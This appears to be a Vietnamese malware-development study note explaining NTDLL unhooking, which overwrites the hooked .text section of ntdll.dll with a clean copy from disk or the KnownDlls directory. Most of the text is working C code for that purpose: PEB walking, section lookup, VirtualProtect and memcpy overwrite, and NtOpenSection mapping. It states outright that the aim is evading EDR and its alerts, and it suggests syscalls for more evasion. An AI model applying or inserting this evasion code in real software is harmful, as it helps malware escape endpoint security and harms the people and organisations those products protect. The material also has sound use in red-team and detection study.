Introduction

Là một cách tiếp cận để né tránh user-land hooking1 bằng cách thay thế hooked DLL trong tiến trình bằng một phiên bản DLL chưa bị hooked.

Vấn đề cần phải quyết là lấy được unhooked DLL (ở đây ta sẽ unhook ntdll.dll).

Unhooking

Việc thay thế toàn bộ DLL trong tiến trình đòi hỏi ta cần thiết lập lại IAT một cách thủ công, chỉnh sửa các reallocations và thực hiện các công việc tẻ nhạt khác. Thay vào đó, ta chỉ cần thay thế .text section của DLL trong tiến trình.

Để làm được điều này, ta có chỉ cần base address và size của image (ntdll.dll) trong tiến trình.

Cả 2 thông tin này đều có trong IMAGE_OPTIONAL_HEADER (BaseOfCodeSizeOfCode)2. Một cách khác là tìm kiếm chuỗi .text trong thuộc tính IMAGE_SECTION_HEADER.Name thuộc cấu trúc IMAGE_SECTION_HEADER của từng section. Các sections này nằm trong một mảng phía sau IMAGE_NT_HEADERS3 và có thể sử dụng vòng lặp để duyệt qua nhằm tìm kiếm.

Ngoài ra, ta cũng cần thay đổi quyền bộ nhớ của .text section trong DLL image ở trên bộ nhớ của tiến trình thành PAGE_EXECUTE_READWRITE hoặc PAGE_EXECUTE_WRITECOPY bằng cách sử dụng hàm VirtualProtect. Điều này là để đảm bảo ta có quyền ghi đè .text section của DLL image.

On Disk Vs In Memory Offset

Khi ở trên đĩa cứng, offset của .text section thường là 0x400 (1024) do các file nhị phân thường được sắp xếp theo các khối dữ liệu có kích thước 1KB nhằm tối ưu hóa các thao tác đọc ghi.

Tuy nhiên, khi được load vào process, offset của .text section thường là 4KB do đây là kích thước của page size và được dùng để tối ưu các thao tác với bộ nhớ ảo.

NTDLL Unhooking Methods

Các phương pháp để ghi đè .text section của DLL (ví dụ ntdll.dll):

  • Từ đĩa cứng: load ntdll từ C:\Windows\System32\ntdll.dll. Cách làm này hiệu quả nhưng dễ bị phát hiện vì nó được sử dụng rộng rãi và đã có nhiều signatures dùng để detect kỹ thuật này.
  • Từ thư mục KnownDlls - là thư mục chứa các DLLs sử dụng bởi Windows loader.
  • Từ một tiến trình khác bị gián đoạn
  • Từ webserver chẳng hạn như ntdll.dll - Winbindex

From Disk

Các bước cần thực hiện:

Fetching The Local ntdll.dll Image Handle

Trước tiên, chúng ta sẽ lấy ra handle của ntdll.dll đang ở trong tiến trình bằng cách sử dụng GetModuleHandleA("ntdll.dll") hoặc custom implementation của GetModuleHandleA sử dụng API hashing4.

PVOID FetchLocalNtdllBaseAddress() {
 
#ifdef _WIN64
	PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
	PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64
 
	// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after the local image name)
	PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
 
	return pLdr->DllBase;
}

Với:

  • pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink là con trỏ đến entry thứ 2 trong linked list của các DLL. Entry đầu tiên là bản thân executable và sẽ bị skipped. Tuy nhiên, con trỏ này trỏ đến cuối entry thay vì trỏ đến đầu entry. Mà kích thước của LIST_ENTRY0x10 nên ta cần trừ đi 0x10 để di chuyển con trỏ về đầu entry thứ 2.
  • pLdr->DllBase là base address của ntdll.dll.

Fetching The Local ntdll.dll’s .text Section

Sau khi có base address của local ntdll.dll thì ta cần lấy ra base address và size của .text section.

Method 1: Optional Structure Header

Cách đầu tiên sử dụng cấu trúc IMAGE_OPTIONAL_HEADER như đã đề cập trong Unhooking:

PIMAGE_DOS_HEADER	pLocalDosHdr	= (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
	return FALSE;
 
PIMAGE_NT_HEADERS 	pLocalNtHdrs	= (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
	return FALSE;
 
PVOID	pLocalNtdllTxt	= (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll);
SIZE_T	sNtdllTxtSize	= pLocalNtHdrs->OptionalHeader.SizeOfCode;

Method 2 - IMAGE_SECTION_HEADER Structure

Cách thứ 2 là sử dụng cấu trúc IMAGE_SECTION_HEADER, cũng đã đề cập ở Unhooking:

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
 
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
 
	// if( strcmp(pSectionHeader[i]->Name, ".text") == 0) )
	if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
		PVOID pLocalNtdllTxt	= (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
		SIZE_T sNtdllTxtSize	= pSectionHeader[i].Misc.VirtualSize;
		break;
	}
}

Giải thích đoạn code trên:

  • IMAGE_FIRST_SECTION là một macro thuộc winnt.h dùng để tìm con trỏ đến mảng các IMAGE_SECTION_HEADER. Macro này có định nghĩa như sau:

    #define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER)        \
        ((ULONG_PTR)(ntheader) +                                            \
         FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) +                 \
         ((ntheader))->FileHeader.SizeOfOptionalHeader   \
        ))

    Macro này nhận vào địa chỉ của IMAGE_NT_HEADERS và ép kiểu nó về ULONG_PTR để có thể thực hiện tính toán.

    Về lý do ta cần wrap `ntheader` ở trong dấu ngoặc tròn là do compiler của C sẽ chỉ thực hiện việc copy và paste để xây dựng macro. Trong trường hợp `ntheader` là một biến thì sẽ không có vấn đề gì nhưng nếu nó là một biểu thức chẳng hạn như `0x100 + some_pointer` thì `(ULONG_PTR)(ntheader)` sẽ trở thành `(ULONG_PTR)0x100 + some_pointer` và khi đó thì code không còn đúng nữa.

    Giá trị của FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) sẽ là offset tính từ đầu cấu trúc IMAGE_NT_HEADERS đến field OptionalHeader mà chứa IMAGE_OPTIONAL_HEADER. Giá trị này sẽ được cộng vào địa chỉ của IMAGE_NT_HEADERS tìm được trước đó.

    Cuối cùng, truy xuất SizeOfOptionalHeader từ IMAGE_FILE_HEADER để lấy ra kích thước của IMAGE_OPTIONAL_HEADER nhằm di chuyển đến cuối IMAGE_NT_HEADERS. Vị trí đó chính là vị trí của mảng các IMAGE_SECTION_HEADER và cũng là địa chỉ của IMAGE_SECTION_HEADER đầu tiên.

  • Vòng lặp for sẽ lặp qua danh sách các IMAGE_SECTION_HEADER và tìm ra entry có Name.text.

    Đoạn code trên sử dụng một vài kỹ thuật để tăng tốc độ so sánh và giảm sự phụ thuộc. Cụ thể, nó không sử dụng strcmp để so sánh, vốn duyệt qua từng ký tự. Thay vào đó, nó ép kiểu con trỏ Name thành kiểu ULONG* rồi dereference để lấy 4 bytes đầu tiên của mảng NAME. Với kiến trúc little endian, các bytes của .tex (0x2E, 0x74, 0x65, 0x78) sẽ có giá trị integer là 0x7865742E, tương đương với xet..

    Trong ASCII table, các ký tự viết hoa thường nhỏ hơn các ký tự viết thường một khoảng 0x20. Bằng cách OR với 0x20202020, tất cả các ký tự viết hoa sẽ được chuyển thành ký tự viết thường. Việc này giúp đảm bảo phép so sánh là case-insensitive.

Retrieving NTDLL

Chúng ta sẽ lấy handle đến clean version của NTDLL từ đĩa cứng bằng cách sử dụng ReadFile hoặc MapViewOfFile (mapping).

Sau đây là cách tiếp cận sử dụng ReadFile:

#define NTDLL "NTDLL.DLL"
 
BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
 
	CHAR	    cWinPath    [MAX_PATH / 2]    = { 0 };
	CHAR	    cNtdllPath  [MAX_PATH]        = { 0 };
	HANDLE      hFile                         = NULL;
	DWORD       dwNumberOfBytesRead           = NULL,
                dwFileLen                     = NULL;
	PVOID       pNtdllBuffer                  = NULL;
 
	// getting the path of the Windows directory
	if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
		printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}
 
	// 'sprintf_s' is a more secure version than 'sprintf'
	sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
 
	// getting the handle of the ntdll.dll file
	hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}
 
	// allocating enough memory to read the ntdll.dll file
	dwFileLen     = GetFileSize(hFile, NULL);
	pNtdllBuffer  = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
 
	// reading the file
	if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {
		printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
		printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead, dwFileLen);
		goto _EndOfFunc;
	}
 
	*ppNtdllBuf = pNtdllBuffer;
 
_EndOfFunc:
	// conduct cleanup
}

Đầu tiên ta sử dụng GetWindowsDirectoryA để lấy ra đường dẫn đến ReadFile directory. Đường dẫn này thường là C:\Windows nhưng không phải lúc nào cũng đúng. Sau đó, sử dụng sprintf_s để xây dựng absolute path đến ntdll.dll. Kế đến, sử dụng CreateFileA để lấy handle của file ntdll.dll với path vừa xây dựng. Tiếp theo, cấp phát vùng nhớ để chứa nội dung file trong tiến trình và sử dụng ReadFile để đọc từ đĩa cứng vào vùng nhớ đó.

Con trỏ 2 chiều đến buffer chứa nội dung file sẽ là ppNtdllBuf.

Sau đây là cách tiếp cận sử dụng MapViewOfFile:

#define NTDLL "NTDLL.DLL"
 
BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
 
	HANDLE  hFile                           = NULL,
		    hSection                        = NULL;
	CHAR    cWinPath    [MAX_PATH / 2]      = { 0 };
	CHAR    cNtdllPath  [MAX_PATH]          = { 0 };
	PBYTE   pNtdllBuffer                    = NULL;
 
	// getting the path of the Windows directory
	if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
		printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}
 
	// 'sprintf_s' is a more secure version than 'sprintf'
	sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
 
	// getting the handle of the ntdll.dll file
	hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}
 
	// creating a mapping view of the ntdll.dll file using the 'SEC_IMAGE_NO_EXECUTE' flag
	hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
	if (hSection == NULL) {
		printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}
 
	// mapping the view of file of ntdll.dll
	pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
	if (pNtdllBuffer == NULL) {
		printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}
 
	*ppNtdllBuf = pNtdllBuffer;
 
_EndOfFunc:
	// conduct cleanup
}

Có thể thấy, các bước đầu tiên tương tự như khi sử dụng ReadFile. Tuy nhiên, thay vì cấp phát vùng nhớ sử dụng HeapAlloc thì ta sử dụng CreateFileMappingA để tạo vùng nhớ để ánh xạ file ntdll.dll vào bộ nhớ của tiến trình với flag SEC_IMAGE_NO_EXECUTE. Lý do mà ta sử dụng flag này là để nó không trigger Kernel CallBacks và ngăn chặn cảnh báo gửi đến cho EDR.

Note

Khi sử dụng MapViewOfFile, offset của .text section sẽ là 4096 thay vì 1024 như khi sử dụng ReadFile do Windows loader sẽ tự động điều chỉnh khi image được ánh xạ. Nếu không sử dụng SEC_IMAGE_NO_EXECUTE hoặc SEC_IMAGE, việc điều chỉnh này sẽ không xảy ra và offset của .text section sẽ là 1024.

Ngoài ra, việc ánh xạ ổn định hơn so với việc đọc file từ đĩa cứng do việc đọc từ đĩa đôi khi khiến cho offset đến .text section là 4096 thay vì 1024. Trong khi đó, offset khi sử dụng ánh xạ luôn bằng với giá trị có trong IMAGE_SECTION_HEADER.VirtualAddress.

Sau đó, hàm MapNtdllFromDisk trên sử dụng MapViewOfFile để ánh xạ file vào vùng nhớ vừa tạo.

Cuối cùng, khi đã có base address của clean version của ntdll.dll thì ta cộng nó với 4096 hoặc 1024 tùy thuộc vào cách mà ta đọc để tính base address của .text section:

// Mapped
PVOID pUnhookedTxtNtdll = (ULONG_PTR)(MapNtdllFromDisk output) + (4096 or IMAGE_SECTION_HEADER.VirtualAddress of ntdll.dll);
 
// Read
PVOID pUnhookedTxtNtdll = (ULONG_PTR)(ReadNtdllFromDisk output) + 1024;

Text Section Replacement

Bước cuối cùng là hoán đổi 2 phiên bản của ntdll.dll sử dụng memcpy. Như đã đề cập, ta cần gọi VirtualProtect để đảm bảo rằng .text section mà ta sẽ thay thế có quyền ghi và thực thi. Sau khi đã hoán đổi, ta có thể gọi VirtualProtect lại để khôi phục quyền ban đầu (PAGE_EXECUTE_READ).

DWORD dwOldProtection = NULL;
 
// making the text section writable and executable
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
	printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
	return FALSE;
}
 
// copying the new text section
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
 
// rrestoring the old memory protection
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
	printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Handling Edge Cases

Để giải quyết vấn đề xảy ra khi ReadFile đọc ntdll.dll cho ra offset của .text section không ổn định, ta sẽ so sánh 4 byte đầu tiên của .text section đã được nạp vào tiến trình với 4 bytes đầu tiên của remote .text section. Nếu chúng bằng nhau thì offset là 1024 còn nếu không thì offset cần phải là 4096 và ta cần phải cộng thêm 3072.

#ifdef READ_NTDLL
	// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text section
	if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
		// if not, then the read text section is of offset 4096, so we add 3072 (because we added 1024 already)
		(ULONG_PTR)pRemoteNtdllTxt += 3072;
		// checking again
		if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
			return FALSE;
	}
#endif

Improving The Implementation

Cách tiếp cận hiện tại sử dụng khá nhiều Windows API. Để né tránh EDR, chúng ta nên sử dụng System Call hoặc indirect syscalls.

Verification

Để verify xem một hàm nào đó đã được unhook, ta xây dựng hàm sau:

VOID PrintState(char* cSyscallName, PVOID pSyscallAddress) {
	printf("[#] %s [ 0x%p ] ---> %s \n", cSyscallName, pSyscallAddress, (*(ULONG*)pSyscallAddress != 0xb8d18b4c) == TRUE ? "[ HOOKED ]" : "[ UNHOOKED ]");
}

Với 4C 8B D1 B8 tương đương với các opcode mov r10, rcxmov eax, <SSN> ở đầu các syscalls.

From KnownDlls Directory

KnownDlls là một object directory chứa một tập các system DLLs thường dùng để Windows loader có thể sử dụng nhằm tăng hiệu suất và giảm thời gian khởi động tiến trình (đóng vai trò như là cache). Loader sử dụng cơ chế Mapping (Retrieving NTDLL) để nạp unhooked DLL vào memory.

Phiên bản Windows XP trở về trước có KnownDlls là C:\Windows\System32. Các phiên bản sau thì thư mục này được tích hợp vào hệ điều hành và do đó mà không thể truy cập trực tiếp. Ta có thể xem danh sách các DLLs có trong KnownDlls ở registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDlls.

Chúng ta còn có thể dùng tool WinObj thuộc SysInternals để xem nội dung của KnownDlls.

Retrieving ntdll.dll From KnownDlls

Các DLLs trong KnownDlls có thể được truy xuất thông qua OpenFileMapping và được ánh xạ vào bộ nhớ của tiến trình thông qua MapViewOfFile.

Error

Tuy nhiên, việc sử dụng OpenFileMapping sẽ luôn bị thất bại với lỗi ERROR_BAD_PATHNAME (-161). Về lý do, có thể tham khảo OpenFileMapping and KnownDlls | Inbits Blog:

Function prototype của OpenFileMapping:

HANDLE OpenFileMappingA(
    [in] DWORD  dwDesiredAccess,
    [in] BOOL   bInheritHandle,
    [in] LPCSTR lpName
);

Với dwDesiredAccess giúp chỉ định access level của file mapping object, bInheritHandle là để chỉ định xem handle có được kế thừa từ process khác hay không và lpName là tên của file mapping object cần mở.

Hàm này sẽ gọi đến hàm native NtOpenSection hay ZwOpenSection.

NTSYSAPI NTSTATUS ZwOpenSection(
    [out] PHANDLE            SectionHandle,
    [in]  ACCESS_MASK        DesiredAccess,
    [in]  POBJECT_ATTRIBUTES ObjectAttributes
);

Với SectionHandle là handle trỏ đến section object mà ta sẽ nhận được, DesiredAccess có kiểu là ACESS_MASK và trong trường hợp này ta sẽ dùng giá trị SECTION_MAP_READ do \KnownDlls\ntdll.dll image chỉ cần có quyền đọc.

Cấu trúc của OBJECT_ATTRIBUTES:

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

Lý do gây ra lỗi ERROR_BAD_PATHNAME có thể nằm ở cấu trúc OBJECT_ATTRIBUTESOpenFileMappingA và truyền vào ZwOpenSection. Cụ thể hơn, nó nằm ở field RootDirectory. Nếu nó là NULL thì ObjectName cần phải trỏ đến đường dẫn đầy đủ của object (là ntdll.dll trong trường hợp này) và nếu nó khác NULL thì ObjectName sẽ trỏ đến đường dẫn tương đối với RootDirectory.

Khi đào sâu hơn, OpenFileMappingA gọi hàm BaseFormatObjectAttributes để xây dựng cấu trúc OBJECT_ATTRIBUTES và hàm này sẽ gọi đến hàm BaseGetNamedObjectDirectory và giá trị mà nó trả về sẽ là đối số của RootDirectory.

Giá trị mà BaseGetNamedObjectDirectory trả về sẽ là BaseNamedObject object directory nếu user có quyền truy cập vào directory này hoặc là BaseNamedObjects\Restricted object directory.

BaseNamedObjects\Restricted tồn tại ở đường dẫn \Sessions\1\BasedNamedObjects và không có cách nào để truy ngược về KnownDlls. Đây chính là nguyên nhân gây ra lỗi.

Đa phần các malware đều sử dụng phiên bản native của OpenFileMappingNtOpenSection.

typedef NTSTATUS (NTAPI* fnNtOpenSection)(
	PHANDLE               SectionHandle,
	ACCESS_MASK           DesiredAccess,
	POBJECT_ATTRIBUTES    ObjectAttributes
);
 
fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");
 
STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAtr);
if (STATUS != 0x00) {
	printf("[!] NtOpenSection Failed With Error : 0x%0.8X \n", STATUS);
	goto _EndOfFunc;
}

Ngoài SectionHandleDesiredAccess, ta cần truyền vào tham số ObjectAttributes của NtOpenSection. Mà để làm được điều này, ta sẽ dùng macro InitializeObjectAttributes để khởi tạo giá trị cho tham số ObjectAttributes.

InitializeObjectAttributes

Signature của InitializeObjectAttributes:

VOID InitializeObjectAttributes(
  [out]          POBJECT_ATTRIBUTES   p,
  [in]           PUNICODE_STRING      n,
  [in]           ULONG                a,
  [in]           HANDLE               r,  // Set to NULL
  [in, optional] PSECURITY_DESCRIPTOR s   // Set to NULL
);

Với p là con trỏ đến cấu trúc OBJECT_ATTRIBUTES rỗng mà cần khởi tạo, n là con trỏ đến cấu trúc UNICODE_STRING chứa tên của object mà ta cần lấy handle và aOBJ_CASE_INSENSITIVE để chỉ định thực hiện so sánh không phân biệt hoa thường.

// initializing 'ObjAtr' with 'UniStr'
InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);

Biến n với kiểu UNICODE_STRING có thể được khởi tạo như sau:

UNICODE_STRING.Buffer = (PWSTR)L"\KnownDlls\ntdll.dll";
UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") * sizeof(WCHAR);    // calculating the size of the string used in bytes
UNICODE_STRING.MaximumLength = UniStr.Length + sizeof(WCHAR);               // '.MaximumLength' can be the same as '.Length'

Có thể thấy, Buffer có kiểu là wide string và Length là kích thước của Buffer với đơn vị là bytes.

Map ntdll.dll From KnownDlls

Sau khi có handle của ntdll.dll thì ta chỉ cần ánh xạ nó vào vùng nhớ của tiến trình sử dụng MapViewOfFile:

// mapping the view of file of ntdll.dll
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
	printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	goto _EndOfFunc;
}

Improving The Implementation

Cách tiếp cận hiện tại sử dụng khá nhiều Windows API. Để né tránh EDR, chúng ta nên sử dụng System Call hoặc indirect syscalls.

From a Suspended Process later

Footnotes

  1. Xem thêm API Hooking

  2. Xem thêm [[MalDev - Portable Executable Format#optional-header-sec_image_no_execute|Optional Header (MapNtdllFromDisk)]]

  3. Xem thêm PE Sections

  4. Xem thêm [[MalDev - IAT & Obfuscation#custom-mapviewoffile|Custom ntdll.dll]]